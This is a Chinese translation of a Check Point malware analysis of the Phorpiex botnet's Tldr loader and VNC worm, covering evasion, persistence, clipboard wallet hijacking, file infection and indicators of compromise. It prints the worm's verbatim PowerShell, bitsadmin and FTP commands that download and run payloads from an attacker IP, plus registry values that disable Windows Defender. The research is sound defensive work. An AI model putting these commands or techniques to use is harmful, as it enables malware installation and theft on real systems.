截至目前,Phorpiex殭屍網絡已經至少感染了1000000臺Windows計算機。此前,我們曾經詳細介紹了殭屍網絡的架構、命令與控制基礎結構以及加密劫持的方法,詳細可以參考翻譯文章《暴利營生的背後:揭秘Phorpiex殭屍網絡的賺錢體系》、《肆虐的性勒索郵件,躺賺的Phorpiex botnet幕後人員》。
在本文中,我們將詳細介紹該殭屍網絡用於實現惡意模塊的技術細節。
Phorpiex殭屍網絡的核心部分是一個名為Tldr的加載工具。該加載工具負責將其他惡意模塊和其他惡意軟體加載到受感染的計算機。每個模塊都是單獨的Windows可執行文件。通常情況下,Phorpiex模塊非常小並且非常簡單。惡意軟體配置一般會硬編碼到惡意軟體的可執行文件之中,在配置中通常包括C&C伺服器地址、加密貨幣錢包和用於下載惡意Payload的URL。如果需要更新配置,殭屍網絡操作員只需要將新模塊加載到受感染的計算機即可。此外,這些模塊會經常進行更新,並進行細微的更改。在2019年期間,我們觀察到以下模塊:
1、加載工具Phorpiex Tldr;
2、VNC蠕蟲模塊;
3、NetBIOS蠕蟲模塊;
4、XMRig Silent Miner挖礦惡意軟體;
5、垃圾郵件模塊:自我傳播並進行性勒索;
6、輔助模塊:包括針對特定地理位置的小型加載工具、清理模塊。
我們需要強調的是,這些模塊中的3個(Tldr、VNC蠕蟲和NetBIOS蠕蟲)包含允許惡意軟體自行傳播的功能。例如,Tldr具有文件感染型病毒的功能,並且能夠感染其他文件。VNC蠕蟲藉助弱密碼連接到VNC伺服器,並嘗試通過模擬用戶輸入來實現攻擊。由於該殭屍網絡使用了眾多模塊,因此這一殭屍網絡在爆發之後迅速流行。
在這篇報告中,我們重點分析其中兩個Phorpiex模塊:
1、加載工具Phorpiex Tldr;
2、VNC蠕蟲模塊。
二、Phorpiex Tldr分析
Tldr(可能是「TrikLoader」的簡稱)是Phorpiex殭屍網絡基礎結構的關鍵部分之一。
Phorpiex Tldr PDB文件名:
當我們首次發現該惡意軟體時,我們無法識別該惡意軟體,也無從了解這一惡意軟體於殭屍網絡之間的關聯性。但是,通過對其二進位代碼、互斥鎖名稱和沙箱逃避技術進行分析,證明該惡意軟體同樣是由Phorpiex Trik IRC Bot幕後的網絡犯罪分子所開發的。此外,我們在Trik的C&C伺服器與Tldr的C&C伺服器之間發現了幾個共同點。
我們注意到存在大量的Phorpiex Tldr版本,每個版本都具有不同的功能。我們主要關注其中多個版本共同存在的功能,特別是最新版本(自2019年7月起)中添加的新功能。如前所述,Tldr惡意軟體的主要目的是向受感染的計算機下載並執行其他模塊和惡意軟體。但是,這並不是唯一的功能。Tldr還具有自我傳播的能力,其行為類似於蠕蟲或文件感染型病毒,可以感染其他軟體。
Phorpiex Tldr時間線:
2.1 逃避技術
Phorpiex Tldr使用簡單的沙箱逃避技術。在啟動後,它將調用GetModuleHandle() API函數檢查是否在進程中加載了以下模塊之中的一個:
· SBIEDLL.DLL
· SBIEDLLX.DLL
· WPESPY.DLL
· DIR_WATCH.DLL
· API_LOG.DLL
· DIR_WATCH.DLL
· PSTOREC.DLL
然後,它會枚舉正在運行的進程並檢查進程文件名是否為以下之中的一個:
· VBOXSERVICE.EXE
· VBOXTRAY.EXE
· VMTOOLSD.EXE
· VMWARETRAY.EXE
· VMWAREUSER
· VMSRVC.EXE
· VMUSRVC.EXE
· PRL_TOOLS.EXE
· XENSERVICE.EXE
老版本的Tldr(TldrV3,2018年5月)還會檢查以下進程:
· python.exe
· pythonw.exe
· prl_cc.exe
· vboxservice.exe
· vboxcontrol.exe
· tpautoconnsvc.exe
最後,Tldr調用IsDebuggerPresent() API函數,以檢查是否正在調試惡意軟體。
如果其中一項檢查沒有通過,則Tldr會停止執行。
2.2 初始化
初始化步驟與Phorpiex Trik的初始化步驟非常相似。
為防止運行Phorpiex Tldr的多個實例,惡意軟體會創建一個具有特定硬編碼名稱的互斥鎖。較早的版本使用包含版本號的互斥鎖名稱,例如「TldrV3」。在最新版本,每個惡意軟體系列的互斥量名稱不同。通常,它由幾位數字組成,例如「6486894」。
不同版本的Tldr使用的互斥鎖名稱:
對於所有的Phorpiex樣本來說,下一個步驟都是相通的:刪除「:Zone.Identifier」備份數據流。執行此操作的原因是為了消除文件來源不受信任的追蹤標記。
此外,自2019年7月起的版本(Tldr v5.0)具有Debug特權。
自2019年7月起版本的Tldr開始獲取Debug特權:
2.3 持久性
Tldr將自身複製到以下文件夾:
%windir%
%userprofile%
%systemdrive%(僅適用於2019年7月以後的版本)
%temp%
對於Phorpiex Tldr V3,選擇路徑和文件名的過程幾乎與Phorpiex Trik所使用的過程相同。Tldr在這些路徑下創建一個子文件夾,該子文件夾的硬編碼名稱以「T-」開頭(在Phorpiex Trik中,名稱以「M-」開頭)。然後,惡意軟體將其可執行文件複製到硬編碼文件名下的已創建文件夾中。例如:
C:\WINDOWS\T-9759504507674060850740\winsvc.exe
與Phorpiex Tldr v3不同,較新的版本僅在文件名不包含「sys」子字符串的情況下才設置持久性。然後,它使用從隨機數字生成的子文件夾名稱和以「sys」開頭的文件名,後面接著4個隨機字母。
生成用於設置持久性的文件名:
因此,新的文件名如下所示:
C:\WINDOWS\2813528135\sysjekp.exe
Phorpiex Tldr為創建的文件和子文件夾設置如下屬性:
FILE_ATTRIBUTE_READONLY
FILE_ATTRIBUTE_HIDDEN
FILE_ATTRIBUTE_SYSTEM
然後,該惡意軟體使用以下鍵,為每個創建的副本設置註冊表自動運行條目:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
Tldr使用硬編碼名稱創建一個新的註冊表值。在我們研究的樣本中,該名稱為「Windows Operating System」。
Phorpiex Tldr自動運行註冊表值:
此外,它通過在註冊表項下創建一個新值的方式,來添加防火牆例外:
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\
Phorpiex Tldr防火牆例外:
2.4 繞過Windows安全性
從2019年7月開始的Phorpiex Tldr版本(Tldr v5)通過設置以下註冊表值來禁用Windows安全功能,例如Windows Defender、安全通知和系統還原。
Tldr v5修改的註冊表值:
註冊表鍵:HKLM\SOFTWARE\Policies\Microsoft\Windows Defender
註冊表值:「DisableAntiSpyware」= 1
註冊表鍵:HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
註冊表值:「DisableBehaviorMonitoring」 = 1
「DisableOnAccessProtection」 = 1
「DisableScanOnRealtimeEnable」 = 1
註冊表鍵:HKLM\SOFTWARE\Microsoft\Security Center
HKLM\SOFTWARE\Microsoft\Security Center\Svc
註冊表值:「AntiVirusOverride」 = 1
「UpdatesOverride」 = 1
「FirewallOverride」 = 1
「AntiVirusDisableNotify」 = 1
「UpdatesDisableNotify」 = 1
「AutoUpdateDisableNotify」 = 1
「FirewallDisableNotify」 = 1
註冊表鍵:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore
註冊表值:「DisableSR」 = 1
較早版本的Tldr僅禁用反間諜軟體。
三、主要功能
對於每個惡意活動,Phorpiex Tldr都會創建一個單獨的線程。
3.1 加密貨幣剪貼板線程
幾乎所有樣本都包含用於竊取加密貨幣的功能。這是通過更改受感染系統剪貼板中的加密貨幣錢包的地址來完成的。
惡意軟體會無限循環,每隔200毫秒通過調用API函數OpenClipboard(0)和GetClipboardData(CF_TEXT)查詢剪貼板數據。
為了確定剪貼板中是否包含加密錢包地址,Phorpiex Tldr執行以下檢查:
1、第一個字符是以下字符之一:1、3、q、2、X、D、0、L、4、P、t、z、G、U、E。
2、剪貼板的長度在25到45個字符之間,或9個字母,或90至115個字母之間。
3、剪貼板數據不應包含字母:O(0x4F)、I(0x49)、l(0x6C)。
4、剪貼板數據應該僅包含數字和字母。
如果上述任何檢查失敗,剪貼板將保持不變。否則,它將確定一種加密貨幣錢包地址的類型,並將其更改為硬編碼值之中的一個。
Phorpiex Tldr通過剪貼板數據的第一個字符來確定具體的區塊鏈類型。
Phorpiex使用的加密貨幣錢包:
Phorpiex支持以下加密貨幣:
· Bitcoin
· Bitcoin Cash
· Ethereum
· DASH
· Dogecoin
· Litecoin
· Monero
· Zcash
Crypto Clipper還可以支持替換Perfect Money錢包(黃金、美元、歐元)的地址。
最後,通過調用SetClipboardData(CF_TEXT, new_value)將新的數據發送回剪貼板。
3.2 自我傳播線程
在該線程中,實現了文件型蠕蟲的功能。
在延遲2秒的無限循環中,Tldr使用GetLogicalDrives枚舉可用的驅動器。它會讀取「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer」註冊表值「NoDrives」並從枚舉中排除由NoDrives Windows資源管理器策略禁用的驅動器。
然後,Tldr僅選擇可移動驅動器和遠程驅動器。在每個選定的驅動器上,它將創建一個名為「__」的文件夾,並為創建的文件夾設置FILE_ATTRIBUTE_READONLY、FILE_ATTRIBUTE_HIDDEN和FILE_ATRRIBUTE_SYSTEM屬性,以使其在資源管理器中默認為不可見。
惡意軟體會使用硬編碼名稱(在我們的樣本中為「DriveMgr.exe」)將自身複製到此文件夾中。Tldr獲取所選驅動器的卷名稱。然後,它在帶有目標的所選驅動器的根文件夾中創建一個名稱為「{volume_name}.lnk」的快捷方式:
%windir%\system32\cmd.exe /c start __ & __\DriveMgr.exe & exit
然後,Tldr將所有文件夾從所選驅動器的根路徑移動到文件夾「__」。它還會刪除根路徑中具有以下擴展名的所有文件:
*.lnk、*.vbs、*.bat、*.js、*.scr、*.com、*.jse、*.cmd、*.pif、*.jar、*.dll、*.vbe、*.inf」
Tldr在可移動驅動器上刪除的文件擴展名:
這樣做的原因我們推測可能是禁用在同一個可移動驅動器上的所有其他蠕蟲。
我們可以看到,其行為與使用可移動驅動器進行傳播的其他蠕蟲相同。
但是,在Tldr v5.0中,引入了一項新功能,該功能允許惡意軟體充當文件感染型病毒並感染其他可執行文件。此前,Phorpiex使用單獨的模塊來感染其他軟體。
該惡意軟體會掃描可移動驅動器和遠程驅動器上的所有文件夾,並感染所有尚未感染的.exe文件。
為了感染另一個PE文件,Tldr執行以下修改:增加PE文件頭中段的數量,並將頭部的TimeDateStamp值設置為0x0000DEAD。
Tldr用於標記受感染文件的時間戳籤名:
惡意軟體還使用TimeDateStamp中的值0x0000DEAD來檢測文件是否已經被感染。0x0000DEAD值轉換為時間戳是1970-01-01 15:50:05。因此,使用以下查詢可以在VirusTotal上輕鬆找到受感染的樣本:
Tldr還會創建一個名為「.zero」的新代碼段,並將惡意Payload複製到該段中。修改入口點地址以指向所創建段的開頭。標頭的SizeOfImage值增加所添加部分的長度。該惡意軟體不會重新計算校驗和,僅僅會將其重置為0。
原始文件和受感染文件的比較:
為了創建用於調用原始入口點的適配器,惡意軟體在主注入代碼中寫入其相對地址。
模板和受感染樣本中相同函數的比較:
Tldr使用值0xCCCCCCCC,在模板函數中查找應該放置原始入口點地址的位置。
設置被感染樣本中的入口點地址:
3.3 惡意Shellcode
插入到受感染文件中的Shellcode中包含幾個不同的函數,其中包含位置隨機的代碼。
這意味著,函數不使用絕對地址,並且無論放在在任何內存位置時都能正確運行。
首先,Shellcode會檢查文件「%appdata%\winsvcs.txt」是否存在。該文件由Phorpiex Tldr創建。如果該文件存在,則Shellcode不會執行任何操作,只是將控制權傳遞給感染程序的原始入口點。否則,它將從硬編碼的URL下載並執行另一個文件。
被感染樣本中的部分Shellcode:
使用API函數URLDownloadToFileW將文件下載到臨時文件。使用函數GetTempPathW和GetTempFileNameW可以獲取臨時文件的名稱。如果文件下載成功,則Shellcode將從該文件中刪除「:Zone.Identifier」ADS,並使用CreateProcessW執行該文件。
最後,控制項被傳遞到受感染程序的原始入口點。
3.4 C&C Check-in線程
在首次運行時,Phorpiex Tldr使用C&C伺服器的硬編碼列表對其C&C伺服器執行Check-in HTTP請求。
Phorpiex C&C伺服器的硬編碼URL:
Tldr為每個C&C伺服器創建一個線程。在啟動線程之前,惡意軟體會創建一個空文件「%appdata%\winsvcs.txt」。該文件將作為用於確定惡意軟體是否是首次運行的標誌。如果該文件已經存在,則不會創建線程。
在每個線程中,惡意軟體都會查詢以下URL:
在其他樣本中,我們還看到了不同格式的URL。例如:
http:///tldr.php?new=1
http:///tldr.php?on=1
http:///tldr.php?new=1&id=http:///tldr.php?new=1&on=
為了執行Check-in請求,Phorpiex Tldr對用戶代理標頭使用特定的硬編碼值。從2019年7月的版本開始,UA是:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
而在較舊版本中,使用的UA值是:
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0
因此,生成的HTTP請求如下所示。
Phorpiex C&C Check-in請求:
C&C Check-in功能不是必須的,並且沒有在所有樣本中都存在。
3.5 主線程
Phorpiex Tldr的主要目的是在受感染的主機上下載並執行其他惡意Payload。它使用多個硬編碼的路徑(通常是4-8個)來創建用於下載文件的URL。
Phorpiex Tldr在C&C伺服器上訪問的硬編碼路徑:
生成的URL如下所示:
http:///1.exe
http:///2.exe
…
對於每個生成的URL,惡意軟體首先使用API函數InternetOpenUrlA和HttpQueryInfoA檢查其可用性和內容的大小。如果URL可用,則Tldr會記住每個路徑的內容大小。如果內容大小與先前的值相同,則會跳過URL,從而防止重複下載同一個Payload。
如果URL可用並且是首次被請求,或者其內容長度與先前的值不同,則Tldr將下載並執行該URL。下載的文件保存在%temp%文件夾下,名稱為:
「%d.exe」 % random.randint(10000, 40000)
例如:
Tldr會使用InternetOpenUrlW/InternetReadFile,執行兩次下載文件的嘗試。如果第一次嘗試失敗,則會換用URLDownloadToFileW。
在下載文件後,Phorpiex Tldr刪除其備份數據流「:Zone.Identifier」。然後,它將使用CreateProcess兩次嘗試執行下載的文件。如果第一次嘗試失敗,則會換用ShellExecute。
以上操作都是在無限循環中執行,每兩次循環之間有1-600秒的隨機延遲。
有趣的是,這樣的加載程序實現非常不安全。任何註冊了舊版本Phorpiex Tldr中硬編碼的域名的人都可以在受感染的主機上上傳並執行任何軟體。但是,最新的Tldr版本(v5)實現了重大改進,避免了這種情況的可能性。
新版本使用RC4和RSA-SHA1籤名驗證的文件加密方式。數字籤名使惡意軟體可以驗證下載樣本的完整性和真實性。
加密文件的標頭包含魔術字節(「NGS!」)、RSA籤名的長度以及用於驗證文件的RSA籤名。RSA籤名的前16個字節用於RC4解密密鑰。
從Phorpiex C&C伺服器下載的加密文件的格式:
Phorpiex Tldr使用文件中的16位元組RC4密鑰解密數據,然後計算解密文件的SHA1哈希值。為了驗證數字籤名,Tldr使用硬編碼到樣本中的4096位RSA公鑰。
硬編碼的RSA公鑰:
如果籤名驗證失敗,則不執行該文件。這意味著Phorpiex Tldr僅接受特定RSA私鑰籤名的文件。
四、Phorpiex VNC蠕蟲模塊
我們在Phorpiex武器庫中發現的另一個模塊是惡意的VNC客戶端。該模塊沒有自己的持久性機制,通常每次都會由Tldr執行。這種小型的惡意軟體會掃描隨機IP位址,以查找開放的VNC服務端埠(5900),並使用硬編碼的密碼列表進行暴力破解。該攻擊的最終目標是在目標主機上加載並執行另一種惡意軟體(通常是Phorpiex Tldr)。
Phorpiex VNC蠕蟲在執行的最開始,進行了API炸彈沙箱逃避技術。實際上,是在循環中執行對多個函數的大量無意義的調用。
API炸彈逃避技術:
該惡意軟體通過使用具有硬編碼名稱的互斥鎖來防止在多個實例中多次執行。
攻擊本身是無限循環進行的,使用rand()函數隨機生成用於掃描的IP位址,並將GetTickCount()結果作為隨機種子。IP位址的唯一過濾規則是不能以127、172或192開頭。實際上,將創建一個單獨的線程來與每個IP位址進行通信。
如果嘗試成功連接到TCP/5900埠,則VNC蠕蟲會使用密碼列表對發現的VNC伺服器進行暴力破解。
用於VNC暴力破解的密碼列表:
在不同樣本中,密碼列表可能有所不同。
如果攻擊成功,則可以使用以下格式的URL(URL模板硬編碼到惡意軟體樣本中)將結果報告給C&C伺服器:
hxxp://92.63.197.153/result.php?vnc=%s|%s」 % (host, password)
在我們所研究的樣本中,即使存在URL,也會禁用報告功能。
最後,Phorpiex VNC蠕蟲通過VNC協議模擬鍵盤輸入,在受害者的計算機上執行多個腳本。首先,它使用Win+R打開「運行」窗口。然後,通過發送相應的VNC數據包來實現腳本內容的「輸入」。
攻擊說明,使用VNC命令模擬的用戶輸入:
通常情況下,會執行以下腳本:
cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile(『http://92.63.197.153/vnc.exe』,』%temp%\48303045850.exe』);Start-Process 『%temp%\48303045850.exe』
cmd.exe /c bitsadmin /transfer getitman /download /priority high http://92.63.197.153/vnc.exe %temp%\49405003030.exe&start %temp%\49405003030.exe
cmd.exe /c netsh firewall add allowedprogram C:\Windows\System32\ftp.exe 「ok」 ENABLE&netsh advfirewall firewall add rule name=」ok」 dir=in action=allow program=」C:\Windows\System32\ftp.exe」 enable=yes
cmd.exe /c 「cd %temp%&@echo open 92.63.197.153>>ftpget.txt&@echo tom>>ftpget.txt&@echo hehehe>>ftpget.txt&@echo binary>>ftpget.txt&@echo get vnc.exe>>ftpget.txt&@echo quit>>ftpget.txt&@ftp -s:ftpget.txt&@start vnc.exe」
這樣一來,Phorpiex VNC蠕蟲會迫使受害者的計算機藉助HTTP或FTP協議從伺服器下載並執行由惡意軟體攻擊者控制的惡意樣本。從腳本原始碼可以看到,該惡意軟體使用硬編碼的憑據訪問FTP伺服器:
· USER tom
· PASS hehehe
我們觀察到,受害者從以下位置下載Payload:
ftp://tom:hehehe@92.63.197[.]153/vnc.exe
ftp://tom:hehehe@92.63.197[.]153/ohuh.exe
http://92.63.197[.]153/vnc.exe
http://92.63.197[.]153/ohuh.exe
Phorpiex殭屍網絡通常使用該模塊進行自我傳播和勒索軟體的傳播。
五、威脅指標
Phorpiex Tldr:
383498f810f0a992b964c19fc21ca398 2018年5月28日12:51:34 Tldr v1.0
11ced3ab21afbeff6ce70d1f4b6e5fc7 2018年6月14日00:31:27 Tldr v2.0
8e12c260a0cdc4e25a39ec026214bf99 2018年10月25日00:08:30 Tldr v3.0
51d0c623f263260bd52f9ebeb00dae00 2019年7月9日13:56:40 Tldr v4
3282f6c806a89359ec94f287cf6c699c 2019年7月18日01:08:07 Tldr v5
Phorpiex Tldr C&C IP和域名:
185.176.27.132
193.32.161.69
193.32.161.73
193.32.161.77
92.63.197.153
92.63.197.38
92.63.197.59
92.63.197.60
94.156.133.65
aiiaiafrzrueuedur.ru
fafhoafouehfuh.su
ffoeefsheuesihfo.ru
osheoufhusheoghuesd.ru
ouhfuosuoosrhzfzr.ru
slpsrgpsrhojifdij.ru
unokaoeojoejfghr.ru
b0t.to
thaus.to
thaus.top
Phorpiex Tldr相關的URL:
hxxp://185.176.27[.]132/a.exe
hxxp://aiiaiafrzrueuedur.ru/o.exe
hxxp://185.176.27[.]132/1
hxxp://185.176.27[.]132/2
hxxp://185.176.27[.]132/3
hxxp://185.176.27[.]132/4
hxxp://185.176.27[.]132/5
hxxp://185.176.27[.]132/6
hxxp://185.176.27[.]132/7
hxxp://193.32.161[.]69/1.exe
hxxp://193.32.161[.]69/2.exe
hxxp://193.32.161[.]69/3.exe
hxxp://193.32.161[.]69/4.exe
hxxp://193.32.161[.]69/5.exe
hxxp://193.32.161[.]69/6.exe
hxxp://193.32.161[.]69/7.exe
hxxp://193.32.161[.]69/ya.exe
hxxp://193.32.161[.]73/1
hxxp://193.32.161[.]73/2
hxxp://193.32.161[.]73/3
hxxp://193.32.161[.]73/4
hxxp://193.32.161[.]73/5
hxxp://193.32.161[.]73/6
hxxp://193.32.161[.]73/s.exe
hxxp://193.32.161[.]77/11.exe
Phorpiex VNC蠕蟲:
28436a88ee38c5f3b50ffe6ae250b358 hxxp://92.63.197.38/4.exe
262148aee0263d710fad294da40f00fc hxxp://92.63.197.60/5.exe
33da71f4068bb396ecd1010132abad00 hxxp://92.63.197.153/4.exe
6fad1536ab4a9ab46d054ad76996b2d6 hxxp://92.63.197.153/3.exe
Check Point反殭屍網絡將上述威脅檢測為:
Worm.Win32.Phorpiex.C
Worm.Win32.Phorpiex.D
Worm.Win32.Phorpiex.H
參考及來源:https://research.checkpoint.com/2020/phorpiex-arsenal-part-i/